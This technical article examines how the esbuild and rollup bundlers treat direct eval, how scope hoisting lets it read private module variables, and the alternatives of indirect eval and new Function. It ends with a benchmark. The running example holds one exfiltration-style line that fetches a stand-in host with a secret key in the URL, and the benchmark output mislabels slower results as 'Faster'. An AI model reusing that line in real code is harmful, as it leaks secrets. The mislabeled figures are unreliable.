Avoid direct eval when bundling
Prerequisites
In the current context:
- Direct
eval
: Calls in the form ofeval(x)
that can access variables in the current context. - Indirect
eval
: Anyeval
that is not called directly in the form ofeval('x')
. Such as(0, eval)('x')
,window.eval('x')
or[eval][0]('x')
. This method executes code in the global scope rather than the lexical scope of the calling location.
This chapter mainly studies how modern ESM Bundlers
(esbuild
, rollup
) handle eval
during bundling, analyzes the security risks of eval
in various ESM Bundlers
, and provides solutions.
Basic Example
Take the following code as an example, using direct eval
to analyze specific problems.
import { info } from './info.js';
console.log(info);
eval(`fetch('https://eval/expose?secretKey=secretKey')`);
import { secretKey } from './private.js';
export const info = await fetch(`/getInfo?secretKey=${secretKey}`);
export const secretKey = '12345678';
Behavior in Esbuild
Before version 0.14.8
, according to the above code example, the bundled output through esbuild
is as follows:
// private.js
var secretKey = '12345678';
// info.js
var info = await fetch(`/getInfo?secretKey=${secretKey}`);
// main.js
console.log(info);
eval(`fetch('https://eval/expose?secretKey=secretKey')`);
Note that esbuild
does not do any special processing for direct eval
code, which poses a potential cross-boundary access problem, where private variables (secretKey
) from private modules are exposed.
However, interestingly, when trying to use the next version (0.14.9
), bundling the same code example results in the following output:
var __getOwnPropNames = Object.getOwnPropertyNames;
var __esm = (fn, res) => function __init() {
return fn && (res = (0, fn[__getOwnPropNames(fn)[0]])(fn = 0)), res;
};
var __commonJS = (cb, mod) => function __require() {
return mod || (0, cb[__getOwnPropNames(cb)[0]])((mod = { exports: {} }).exports, mod), mod.exports;
};
// private.js
var secretKey;
var init_private = __esm({
"private.js"() {
secretKey = "12345678";
}
});
// info.js
var info;
var init_info = __esm({
async "info.js"() {
init_private();
info = await fetch(`/getInfo?secretKey=${secretKey}`);
}
});
// main.js
var require_main = __commonJS({
"main.js"(exports, module) {
await init_info();
console.log(info);
eval(`fetch('https://eval/expose?secretKey=secretKey')`);
}
});
export default require_main();
esbuild
has made additional processing for eval
, seemingly downgrading the bundling strategy for esm
, using commonjs
bundling strategy to wrap each scope in function scope, making modules independent of each other.
Is this really the case?
Looking at esbuild
's release notes for version 0.14.9
, unfortunately, there is no mention of any handling for eval
.
By checking the commit records between 0.14.8
and 0.14.9
, we can find an interesting commit: make esm detection more consistent.
Before the change:
// Pessimistically assume that if this looks like a CommonJS module
// (no "import" or "export" keywords), a direct call to "eval" means
// that code could potentially access "module" or "exports".
After the change:
// Pessimistically assume that if this looks like a CommonJS module
// (e.g. no "export" keywords), a direct call to "eval" means that
// code could potentially access "module" or "exports".
It can be observed that after the change, esbuild
extended its judgment for commonjs
modules.
esbuild
will consider a module as a commonjs
module if it uses eval
but doesn't use the export
keyword (the previous decision condition was that if a module contains the import
keyword, it would be considered an esm
module), thus adopting the commonjs
bundling strategy, wrapping each scope in function scope to make them independent.
In this scenario, if you want to guide esbuild
to treat the current module as an esm
module, you need to add the export
keyword in the module using eval
.
import { info } from './info.js';
console.log(info);
eval(`fetch('https://eval/expose?secretKey=secretKey')`);
export {}
After rebundling, the output is as follows:
// private.js
var secretKey = '12345678';
// info.js
var info = await fetch(`/getInfo?secretKey=${secretKey}`);
// main.js
console.log(info);
eval(`fetch('https://eval/expose?secretKey=secretKey')`);
Nothing has changed, esbuild
has not done any special processing for eval
, and eval
still has the problem of accessing private variables.
Behavior in Rollup
The bundled output is as follows:
const secretKey = '12345678';
const info = await fetch(`/getInfo?secretKey=${secretKey}`);
console.log(info);
eval(`fetch('https://eval/expose?secretKey=secretKey')`);
rollup
behaves the same as esbuild
, neither doing any special processing for eval
, and eval
has the problem of cross-boundary access to private variables in both cases.
Avoid Direct Use of Eval
Both rollup
and esbuild
advocate avoiding direct use of eval
and give the following reasons:
Scope Hoisting Conflict
ESM Bundlers
include an optimization called scope hoisting, which combines all bundled modules into a single file and renames variables to avoid naming conflicts in the same scope. This flattening nature of modules means that code parsed through direct eval
can read and write variables from any file in the bundle, which poses security and correctness issues:
- Correctness: The statement to be executed by
eval
might want to access global variables, but due to scope hoisting, it accidentally accesses private variables with the same name from another module, which doesn't match the user's intention. - Security: As a supplement to the above, if accessing private variables from another module contains sensitive data, it may lead to sensitive data leakage.
Import Variable Issues
When the parsed code references variables imported using import
statements, it may not work properly. Imported variables are reference bindings to exported variables in dependent modules, not copies of these variables. Therefore, when ESM Bundlers
bundle code, imported variables are replaced with direct references to exported variables in dependent modules. At the same time, ESM Bundlers
need to ensure there are no naming conflicts in each module, and will rename variables with the same name in each module, which may cause the originally imported variable names to change due to renaming. ESM Bundlers
do not perform lexical analysis, syntax analysis, or semantic analysis on the execution statements in eval
.
In other words, if the reference name that eval
depends on is inconsistent with the context (due to renaming because of conflicts with variable names declared in other modules), then the reference name in eval
will cause exception errors because it cannot find the originally dependent reference name.
Optimization Limitations
Using direct eval
forces ESM Bundlers
to de-optimize all code in all scopes containing direct eval
calls. The reason is for correctness, because direct eval
potentially can access variable references in its calling scope and upper scope chain, so this code cannot be considered dead code and eliminated, nor will it be minified.
Naming Conflict Issues
Since code parsed by direct eval
may reference any reachable variable by name, ESM Bundlers
cannot rename all reachable variables of the parsed code. This means ESM Bundlers
cannot rename variables to avoid name conflicts with other variables in the bundle. Therefore, direct eval
causes ESM Bundlers
to wrap modules in commonjs
closures, introducing new scopes to avoid name conflicts. However, this makes the final generated code larger and slower, because variables exported from modules need to be determined at runtime rather than at compile time, so ESM Bundlers
cannot do a lot of static analysis optimization (i.e., tree-shaking
).
Alternative Solutions
The underlying logic of the solution is to make eval
not affect the current module scope, only affect the global scope, so ESM Bundlers
don't need to consider any impact of eval
on module scope during bundling (as mentioned above).
Indirect eval
Indirect eval
is any eval
that is not called directly in the form of eval('x')
, such as (0, eval)('x')
, window.eval('x')
or [eval][0]('x')
. It executes code in the global scope rather than the lexical scope of the calling location.
<!doctype html>
<html lang="en">
<body>
<script>
window.localVar = 'global local';
</script>
<script type="module">
const localVar = 'module local';
function directEvalTest() {
const localVar = 'local';
return eval('localVar');
}
function indirectEvalTest() {
const localVar = 'local';
return (0, eval)('localVar');
}
// local
console.log(directEvalTest());
// global local
console.log(indirectEvalTest());
</script>
</body>
</html>
Using indirect call of eval
will make eval
break away from the current module scope and execute in the global scope, so ESM Bundlers
don't need to consider any impact of eval
on module scope during bundling.
esbuild
's strategy using indirect eval
:
var eval2 = eval;
const foo = 43;
const value = 43;
const hook = () => {
var foo = 42;
eval2('console.log("with eval2:",foo)');
}
hook(value);
export {};
// main.js
var eval2 = eval;
var value = 43;
var hook = () => {
var foo = 42;
eval2('console.log("with eval2:",foo)');
};
hook(value);
rollup
's strategy using indirect eval
:
var eval2 = eval;
const foo = 43;
const value = 43;
const hook = () => {
var foo = 42;
eval2('console.log("with eval2:",foo)');
}
hook(value);
export {};
var eval2 = eval;
const hook = () => {
eval2('console.log("with eval2:",foo)');
};
hook();
It can be observed that both esbuild
and rollup
treat eval
as a side-effect statement, and during tree-shaking
, they will retain the eval
statement.
However, here rollup
takes a more aggressive approach, considering that eval
's side effects will not affect any variable references in the module scope; while esbuild
takes a more conservative strategy, eval
's side effects will infect the scope it is in to also have side effects.
Summary
Indirect eval
always executes in the global scope, so:
- Cannot access local variables: Only global variables can be accessed, and it is impossible to read or modify any local variables in the bundled file.
- No impact on variable renaming:
ESM Bundlers
can freely rename local variables without affecting the behavior of indirecteval
. - Allows optimization: Since there is no potential lexical scope dependency,
tree-shaking
andminification
can proceed normally.
From the perspective of ESM Bundlers
:
- Direct
eval
: Must preserve all variable names that might be accessed, disables renaming optimization, and cannot perform tree-shaking. - Indirect
eval
: No special handling required, can safely rename variables, tree-shake, merge module scopes, and minify.
Indirect eval
essentially solves the problem because it is restricted by the language specification to execute in the global scope, and cannot penetrate into the local scope, thus being completely isolated from the module system of the bundled code.
Using new Function
new Function
executes code in the global scope rather than the defining scope.
Test the following code:
function outerFunc() {
const localVar = 'local var';
const value = 'local val';
const fnResult = new Function('return localVar')(value);
return fnResult;
}
window.localVar = 'global var';
console.log(outerFunc());
It can be seen that both rollup
and esbuild
handle new Function
similarly to eval
, treating new Function
as a side-effect statement and retaining it during tree-shaking. However, a difference here is that arguments passed to new Function
are also considered to have side effects.
Additional Knowledge
Why doesn't the JavaScript VM preprocess eval
statements?
Some may think the above problems are due to the JavaScript VM not preprocessing eval
statements, and that after parsing the statement, it could know which variables are accessed and optimize accordingly.
But the main reason is the dynamic nature of eval
. The result of eval
depends on runtime, not compile time, so the JavaScript VM cannot optimize at compile time and must defer parsing to runtime. This is also one of the main reasons for eval
's poor performance, as it forces the engine to do extra parsing and compilation at runtime.
Performance difference between eval
and new Function
eval
performs poorly mainly because each call to eval
requires re-parsing and compiling the code, while new Function
only needs to parse and compile once; when looking up variables, direct eval
must traverse the entire scope chain, including local variables. In contrast, new Function
/ indirect eval
only look up in the global scope, with a shorter scope chain.
Performance Testing: new Function
vs. eval
This report presents a series of real-world performance tests comparing the performance of new Function
and eval
in different scenarios in JavaScript. The results show that new Function
provides significantly better execution efficiency than eval
in most cases, providing empirical support for code bundlers (like esbuild
) to recommend using new Function
instead of direct eval
from a performance perspective.
Test Cases
All tests use the same benchmarking method, including:
- Warm-up phase: Run the operation 5 times to allow the JavaScript engine to apply JIT optimizations.
- Multiple iterations: Each test scenario is repeated many times to obtain stable results.
- Outlier handling: Sort the results of multiple tests, remove the highest and lowest values, and average the middle values.
Test Cases
// Helper function: measure execution time (ms)
function benchmark(name, iterations, fn) {
console.log(`\nStart test: ${name} (${iterations} iterations)`);
// Warm-up (allow JIT optimization)
for (let i = 0; i < 5; i++) {
fn();
}
// Actual measurement
const times = [];
for (let i = 0; i < 5; i++) {
const start = performance.now();
for (let j = 0; j < iterations; j++) {
fn();
}
const end = performance.now();
times.push((end - start) / iterations);
}
// Calculate average time (remove highest and lowest)
times.sort((a, b) => a - b);
const avgTime =
times.slice(1, 4).reduce((sum, time) => sum + time, 0) / 3;
console.log(`${name}: average ${avgTime.toFixed(6)}ms/op`);
return avgTime;
}
// Final consistent test
console.log('\n====== Final Consistency Test ======');
const testCases = [
{
name: 'Simple Expression',
code: '1 + 2 * 3',
iterations: 10000
},
{
name: 'Variable Access',
code: 'let a = 10; let b = 20; a + b',
iterations: 10000
},
{
name: 'Loop Calculation',
code: 'let sum = 0; for (let i = 0; i < 100; i++) { sum += i * i; } sum',
iterations: 1000
},
{
name: 'Complex Calculation',
code: 'let result = 0; for (let i = 0; i < 100; i++) { result += Math.sin(i * 0.01); } result',
iterations: 500
}
];
for (const test of testCases) {
console.log(`\n** Test: ${test.name} **`);
// Direct eval
const evalTime = benchmark(
`Direct eval - ${test.name}`,
test.iterations,
() => {
eval(test.code);
}
);
// Create and immediately execute new Function
const newFunctionTime = benchmark(
`Each time create new Function - ${test.name}`,
test.iterations,
() => {
new Function(`${test.code}`)();
}
);
// Pre-create and reuse new Function
const preCreatedFn = new Function(`${test.code}`);
const preCreatedTime = benchmark(
`Reuse pre-created Function - ${test.name}`,
test.iterations,
() => {
preCreatedFn();
}
);
console.log(`\n${test.name} Test Results:`);
console.log(
`Direct eval vs Reuse pre-created Function = ${(evalTime / preCreatedTime).toFixed(2)}x ${evalTime < preCreatedTime ? 'Slower' : 'Faster'}`
);
console.log(
`Each time create new Function vs Reuse pre-created Function = ${(newFunctionTime / preCreatedTime).toFixed(2)}x ${newFunctionTime < preCreatedTime ? 'Slower' : 'Faster'}`
);
}
====== Final Consistency Test ======
** Test: Simple Expression **
Start test: Direct eval - Simple Expression (10000 iterations)
Direct eval - Simple Expression: average 0.000188ms/op
Start test: Each time create new Function - Simple Expression (10000 iterations)
Each time create new Function - Simple Expression: average 0.000354ms/op
Start test: Reuse pre-created Function - Simple Expression (10000 iterations)
Reuse pre-created Function - Simple Expression: average 0.000007ms/op
Simple Expression Test Results:
Direct eval vs Reuse pre-created Function = 28.20x Faster
Each time create new Function vs Reuse pre-created Function = 53.05x Faster
** Test: Variable Access **
Start test: Direct eval - Variable Access (10000 iterations)
Direct eval - Variable Access: average 0.000116ms/op
Start test: Each time create new Function - Variable Access (10000 iterations)
Each time create new Function - Variable Access: average 0.000362ms/op
Start test: Reuse pre-created Function - Variable Access (10000 iterations)
Reuse pre-created Function - Variable Access: average 0.000010ms/op
Variable Access Test Results:
Direct eval vs Reuse pre-created Function = 11.06x Faster
Each time create new Function vs Reuse pre-created Function = 34.51x Faster
** Test: Loop Calculation **
Start test: Direct eval - Loop Calculation (1000 iterations)
Direct eval - Loop Calculation: average 0.000196ms/op
Start test: Each time create new Function - Loop Calculation (1000 iterations)
Each time create new Function - Loop Calculation: average 0.000506ms/op
Start test: Reuse pre-created Function - Loop Calculation (1000 iterations)
Reuse pre-created Function - Loop Calculation: average 0.000111ms/op
Loop Calculation Test Results:
Direct eval vs Reuse pre-created Function = 1.77x Faster
Each time create new Function vs Reuse pre-created Function = 4.58x Faster
** Test: Complex Calculation **
Start test: Direct eval - Complex Calculation (500 iterations)
Direct eval - Complex Calculation: average 0.000559ms/op
Start test: Each time create new Function - Complex Calculation (500 iterations)
Each time create new Function - Complex Calculation: average 0.000985ms/op
Start test: Reuse pre-created Function - Complex Calculation (500 iterations)
Reuse pre-created Function - Complex Calculation: average 0.000498ms/op
Complex Calculation Test Results:
Direct eval vs Reuse pre-created Function = 1.12x Faster
Each time create new Function vs Reuse pre-created Function = 1.98x Faster
Conclusion
Pre-compile
new Function
always performs bestIn all test scenarios, reusing pre-compiled
new Function
instances is much faster than directeval
and each time create newFunction
instances:- Simple Expression: 28.2x faster than direct
eval
. - Variable Access: 11.06x faster than direct
eval
. - Loop Calculation: 1.77x faster than direct
eval
. - Complex Calculation: 1.12x faster than direct
eval
.
- Simple Expression: 28.2x faster than direct
Creating new
Function
instances is costlyCreating new
Function
instances each time is always the slowest method, much slower than directeval
and reusing function:- Compared to reusing pre-compiled function: 53x slower.
- **Compared to direct
eval
: 1.5-2x slower.
Performance advantage decreases with complexity
As calculation complexity increases, the performance difference between methods becomes smaller:
- For simple expressions, reusing function is 28.2x faster than direct
eval
. - For complex calculation, this advantage is only 1.12x.
This indicates that as actual calculation becomes more dense, the overhead of execution methods becomes less significant relative to the calculation time itself.
- For simple expressions, reusing function is 28.2x faster than direct
Suitable Scenario Selection
- Simple expressions and variable access: Pre-compile function's performance advantage is extremely significant, should be used as much as possible.
- Complex calculation: Although pre-compile function still has an advantage, the gap is not too obvious. At this point, it can be flexibly selected according to code organization needs.
- Frequently changing code: If the executed code often changes, the overhead of creating function should be weighed against the possibility of using direct
eval
.
In summary, create a function once and reuse it multiple times, rather than creating a new function instance each time. When choosing methods, consider specific use scenarios, code complexity, and execution frequency to achieve the best performance and code organization.
eval
and Pre-compile Optimization Technical Obstacles
The JavaScript engine faces a fundamental technical challenge in handling eval
function because it cannot apply pre-compile optimization like new Function
because of the highly context-dependent nature of eval
.
Engine first needs to parse the incoming code string, build an abstract syntax tree (AST
), then create an execution context for this temporary code, this context must be able to access all variables and functions in the calling scope. Since eval
might read or modify any accessible variable in the current scope chain, engine must perform scope detection, establish variable access mapping table, ensure dynamic code can correctly bind to external scope identifiers.
Caching eval
's compiled result faces a huge technical challenge because of the highly context-dependent nature of eval
. The same eval
code in different calling position or execution path may depend on completely different variable set of scope. If effective caching is needed, engine not only needs to store compiled code but also needs to store complete scope snapshot, and verify current scope matches the cached scope before execution each time. This verification process is extremely complex and computationally intensive, its cost may exceed re-compilation overhead. Even highly optimized engines like v8
are difficult to implement effective caching mechanism for eval
because potential scope change pattern is almost infinite, and detecting these changes is costly.
More seriously, eval
's existence blocks javascript
engine from applying a series of key optimization techniques. Modern jit
compiler depends on code's static predictability to perform optimization, but eval
breaks predictability. When engine encounters eval
, it must conservatively assume that any local variable might be modified, any object structure might be reshaped. This directly blocks inlining optimization, engine cannot replace function call with its implementation code; type inference is also interrupted because variable type might change after eval
execution; escape analysis fails, engine cannot determine whether variable strictly used in function range; hidden class optimization is disabled because object structure might be dynamically modified. These optimization mechanisms fail in code paths containing eval
, usually slower than equivalent static code by 10-100
times, running in interpreter mode rather than optimized machine code mode. This performance difference is especially obvious in complex applications or frequently executed code paths, which is why most modern bundlers
, javascript
guides, type check tools strongly recommend avoiding eval
, turning to more predictable and easier to optimize alternative solutions like new Function
, property accessor or mapping table etc. mode.